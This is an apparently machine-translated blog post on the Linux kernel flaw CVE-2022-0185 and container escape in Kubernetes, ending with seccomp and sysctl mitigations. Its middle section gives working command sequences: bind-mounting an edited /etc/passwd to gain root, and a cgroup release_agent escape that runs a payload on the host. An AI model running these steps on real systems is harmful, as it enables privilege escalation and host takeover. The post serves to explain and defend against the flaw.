Author: michelangela young, preacher KubeSphere, cloud native severely infected
On January 18, 2022, Linux maintainers and vendors in the legacy of Linux kernel (5.1-rc1 +) file system context function_ parse_ An error was found in the param function Heap Buffer Overflow Vulnerability with ID number CVE-2022-0185 , which is a high-risk vulnerability with a severity level of 7.8.
The vulnerability allows for out of bounds writes in kernel memory. Using this vulnerability, an unprivileged attacker can bypass the restrictions of any Linux namespace and elevate his privileges to root. For example, if an attacker infiltrates into your container, he can escape from the container and increase his privileges.
The vulnerability was introduced into Linux kernel version 5.1-rc1 in March 2019. The patch released on January 18 fixes this problem. It is recommended that all Linux users download and install the latest version of the kernel.
Vulnerability details
The vulnerability is caused by the legacy of the file system context function (fs/fs_context.c)_ parse_ Caused by integer underflow condition found in param function. The function of the file system context is to create super blocks for mounting and remounting the file system. Super blocks record the characteristics of a file system, such as block and file size, as well as any storage blocks.
By adding to legacy_ parse_ The param function sends more than 4095 bytes of input, which can bypass the input length detection, resulting in out of bounds writing and triggering the vulnerability. An attacker can use this vulnerability to write malicious code to other parts of memory, resulting in system crash, or execute arbitrary code to enhance privileges.
legacy_ parse_ The input data of param function is through fsconfig Added by the system call to configure the creation context of the file system (such as the superblock of ext4 file system).
// Use the fsconfig system call to add a NULL terminated string pointed to by val fsconfig(fd, FSCONFIG_SET_STRING, "\x00", val, 0);
To use the fsconfig system call, a non privileged user must have at least in their current namespace CAP_SYS_ADMIN Privileges. This means that if a user can enter another namespace with these permissions, it is sufficient to exploit this vulnerability.
If a non privileged user cannot get a CAP_SYS_ADMIN privilege, which can be obtained by an attacker through an unshare(CLONE_NEWNS|CLONE_NEWUSER) system call. The Unshare system call allows the user to create or clone a namespace or user, thus having the necessary permissions to carry out further attacks. This technology is very important for using Linux namespace to isolate Pod's Kubernetes and container world. An attacker can take advantage of this in the container escape attack. Once successful, the attacker can gain full control of the host operating system and all containers running on the system, so as to further attack other machines in the internal network segment, Malicious containers can even be deployed in Kubernetes clusters.
The research team that discovered the vulnerability on January 25 GitHub Code and proof of concept to exploit the vulnerability were released on.
PoC
When Docker and other containers run, Seccomp configuration files are used by default to prevent processes in the container from using dangerous system calls to protect Linux namespace boundaries.
Seccomp (full name: secure computing mode) introduces the Linux kernel in version 2.6.12 (March 8, 2005), limiting the system calls available to processes to four types: read, write_ exit,sigreturn. The initial mode is the white list mode. In this security mode, in addition to the opened file descriptor and the four allowed system calls, if you try other system calls, the kernel will use SIGKILL or SIGSYS to terminate the process.
However, by default, Kubernetes does not use any Seccomp or AppArmor/SELinux configuration files to restrict the system calls of the Pod, which is very dangerous. The processes in the Pod can freely access the dangerous system calls and wait for the opportunity to obtain the necessary privileges (such as CAP_SYS_ADMIN) for further attacks.
Let's take a look at an example of Docker. In the standard Docker environment, the unshare command cannot be used, Seccomp filter of Docker Blocked the system call used by this command.
$ docker run --rm -it alpine /bin/sh / # unshare unshare: unshare(0x0): Operation not permitted
Take another look at Kubernetes' Pod:
$ kubectl run --rm -it test --image=ubuntu /bin/bash If you don't see a command prompt, try pressing enter. root@test:/# lsns | grep user 4026531837 user 3 1 root /bin/bash root@test:/# root@test:/# apt update && apt install -y libcap2 libcap-ng-utils root@test:/# ...... root@test:/# pscap -a ppid pid name command capabilities 0 1 root bash chown, dac_override, fowner, fsetid, kill, setgid, setuid, setpcap, net_bind_service, net_raw, sys_chroot, mknod, audit_write, setfcap
You can see that the root user in the Pod does not have a CAP_SYS_ADMIN capability, but we can obtain the cap through the unshare command_ SYS_ Admin capability.
root@test:/# unshare -Urm # # pscap -a ppid pid name command capabilities 0 1 root bash chown, dac_override, fowner, fsetid, kill, setgid, setuid, setpcap, net_bind_service, net_raw, sys_chroot, mknod, audit_write, setfcap 1 265 root sh full # lsns | grep user 4026532695 user 3 265 root -sh
So with cap_ SYS_ What can admin do? Here are two examples to show how to use CAP_SYS_ADMIN to penetrate the system.
Ordinary users are authorized as root users!
The following operation can directly promote the ordinary user in the host to the root user.
Give Python 3 a cap first_ SYS_ Admin capability (note that soft links cannot be operated, only the original files can be operated).
$ which python3 /usr/bin/python3 $ ll /usr/bin/python3 lrwxrwxrwx 1 root root 9 Mar 13 2020 /usr/bin/python3 -> python3.8* $ setcap CAP_SYS_ADMIN+ep /usr/bin/python3.8 $ getcap /usr/bin/python3.8 /usr/bin/python3.8 = cap_sys_admin+ep
Create a normal user.
$ useradd test -d /home/test -m
Then switch to ordinary users and enter the user home directory.
$ su test $ cd ~
Copy / etc/passwd to the current directory and change the password of root user to "password".
$ cp /etc/passwd ./ $ openssl passwd -1 -salt abc password $1$abc$BXBqpb9BZcZhXLgbee.0s/ # Change root:x in the first line to root: $1 $ABC $bxbqpb9bzczhxlgbee 0s/ $ head -2 passwd root:$1$abc$BXBqpb9BZcZhXLgbee.0s/:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
Mount the modified passwd file to / etc/passwd.
# cat mount-passwd.py from ctypes import * libc = CDLL("libc.so.6") libc.mount.argtypes = (c_char_p, c_char_p, c_char_p, c_ulong, c_char_p) MS_BIND = 4096 source = b"/home/test/passwd" target = b"/etc/passwd" filesystemtype = b"none" options = b"rw" mountflags = MS_BIND libc.mount(source, target, filesystemtype, mountflags, options)
$ python3 mount-passwd.py
**The last is the moment to witness miracles** Switch directly to the root user and enter the password "password".
$ su root Password: root@coredns:/home/test#
It's amazing to switch to root...
Let's see if you really get root permission:
$ find / -name "*flag*" 2>/dev/null /sys/kernel/tracing/events/power/pm_qos_update_flags /sys/kernel/debug/tracing/events/power/pm_qos_update_flags /sys/kernel/debug/block/vdb/hctx0/flags /sys/kernel/debug/block/vda/hctx0/flags /sys/kernel/debug/block/loop7/hctx0/flags /sys/kernel/debug/block/loop6/hctx0/flags /sys/kernel/debug/block/loop5/hctx0/flags /sys/kernel/debug/block/loop4/hctx0/flags /sys/kernel/debug/block/loop3/hctx0/flags /sys/kernel/debug/block/loop2/hctx0/flags /sys/kernel/debug/block/loop1/hctx0/flags /sys/kernel/debug/block/loop0/hctx0/flags .... $ cat /sys/kernel/debug/block/vdb/hctx0/flags alloc_policy=FIFO SHOULD_MERGE
Well, that's right.
Finally, remember to uninstall / etc/passwd.
$ umount /etc/passwd
So, system reboot engineers, hurry to see if the ordinary users you assign to others have caps_ SYS_ Admin capability~~
View all processes of the host in the container!
Let's get another example of all the processes running in the container.
We don't need to use the -- privileged parameter to run the privilege container, which will be boring.
$ docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
Next, execute the following command in the container. The final effect is to execute the ps aux command on the host and save its output to the / output file in the container.
# Mounts the RDMA cgroup controller and create a child cgroup # This technique should work with the majority of cgroup controllers # If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist" # It's because your setup doesn't have the RDMA cgroup controller, try change rdma to memory to fix it mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x # Finds path of OverlayFS mount for container # Unless the configuration explicitly exposes the mount point of the host filesystem # see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` # Sets release_agent to /path/payload echo "$host_path/cmd" > /tmp/cgrp/release_agent # Creates a payload echo '#!/bin/sh' > /cmd echo "ps aux > $host_path/output" >> /cmd chmod a+x /cmd # Executes the attack by spawning a process that immediately ends inside the "x" child cgroup # By creating a /bin/sh process and writing its PID to the cgroup.procs file in "x" child cgroup directory # The script on the host will execute after /bin/sh exits sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" # Reads the output cat /output
Finally, you can see all the processes running in the host in the container:
root@0c84f7587629:/# cat /output USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.3 172704 13148 ? Ss 2021 131:32 /sbin/init nopti root 2 0.0 0.0 0 0 ? S 2021 0:18 [kthreadd] root 3 0.0 0.0 0 0 ? I< 2021 0:00 [rcu_gp] root 4 0.0 0.0 0 0 ? I< 2021 0:00 [rcu_par_gp] root 6 0.0 0.0 0 0 ? I< 2021 0:00 [kworker/0:0H-kblockd] root 8 0.0 0.0 0 0 ? I< 2021 0:00 [mm_percpu_wq] root 9 0.0 0.0 0 0 ? S 2021 18:36 [ksoftirqd/0] root 10 0.0 0.0 0 0 ? I 2021 262:22 [rcu_sched] root 11 0.0 0.0 0 0 ? S 2021 3:06 [migration/0] root 12 0.0 0.0 0 0 ? S 2021 0:00 [idle_inject/0] root 14 0.0 0.0 0 0 ? S 2021 0:00 [cpuhp/0] root 15 0.0 0.0 0 0 ? S 2021 0:00 [cpuhp/1] ......
I won't explain the specific meaning of these commands. If you are interested, you can study them against the notes.
To be sure, cap_ SYS_ The admin capability provides more possibilities for attackers, whether in the host or in the container, especially in the container environment. If we are unable to upgrade the kernel due to irresistible factors, we need to find other solutions.
Solution
Container layer
From V1 Since version 22, Kubernetes can use SecurityContext to add the default Seccomp or AppArmor configuration file to the resource object to protect Pod, Deployment, Statefulset, daemon, and so on. Although this function is currently in Alpha stage, users can add their own Seccomp or AppArmor configuration file and define it in SecurityContext. For example:
# pod-test.yaml apiVersion: v1 kind: Pod metadata: name: protected spec: containers: - name: protected image: ubuntu command: - sleep - infinity securityContext: seccompProfile: type: RuntimeDefault
After creating the Pod, try to use unshare to get the CAP_SYS_ADMIN capability.
$ kubectl exec -it protected -- bash root@protected:/# root@protected:/# unshare -Urm unshare: unshare failed: Operation not permitted
The output results show that if the unshare system call is successfully blocked, the attacker cannot use this ability to attack.
Host level
Another solution is to prohibit users from using user namespace from the host level without restarting the system. For example, in Ubuntu, you only need to execute the following two lines of commands to take effect immediately, and it will take effect after restarting the system.
$ echo "kernel.unprivileged_userns_clone=0" > /etc/sysctl.d/userns.conf $ sysctl -p /etc/sysctl.d/userns.conf
If it is a Red Hat system, you can execute the following commands to achieve the same effect.
$ echo "user.max_user_namespaces=0" > /etc/sysctl.d/userns.conf $ sysctl -p /etc/sysctl.d/userns.conf
Summarize the handling suggestions for this vulnerability:
- If your environment can accept patching the kernel or restarting the system, it's best to patch or upgrade the kernel.
- Reduced use of access to caps_ SYS_ Privilege container for admin.
- For non privileged containers, ensure that there is a Seccomp filter to prevent their calls to unshare to reduce the risk. Docker is OK. Kubernetes needs additional operations.
- In the future, Seccomp profiles can be enabled for all workloads in the Kubernetes cluster. At present, this function is still in Alpha stage and needs to pass feature gate Open.
- At the host level, users are prohibited from using the user namespace.
Write at the end
The container environment is complex, especially the distributed scheduling platform like Kubernetes. Each link has its own life cycle and attack surface, which is easy to expose security risks. The container cluster administrator must pay attention to the security problems in every detail. Generally speaking, in most cases, the security of the container depends on the security of the Linux kernel. Therefore, we need to pay attention to any security problems at all times and implement the corresponding solutions as soon as possible.
reference material
- CVE-2022-0185: Kubernetes Container Escape Using Linux Kernel Exploit
- CVE-2022-0185: Detecting and mitigating Linux Kernel vulnerability causing container escape
- Excessive Capabilities
- CAP_SYS_ADMIN
This article is composed of blog one article multi posting platform OpenWrite release!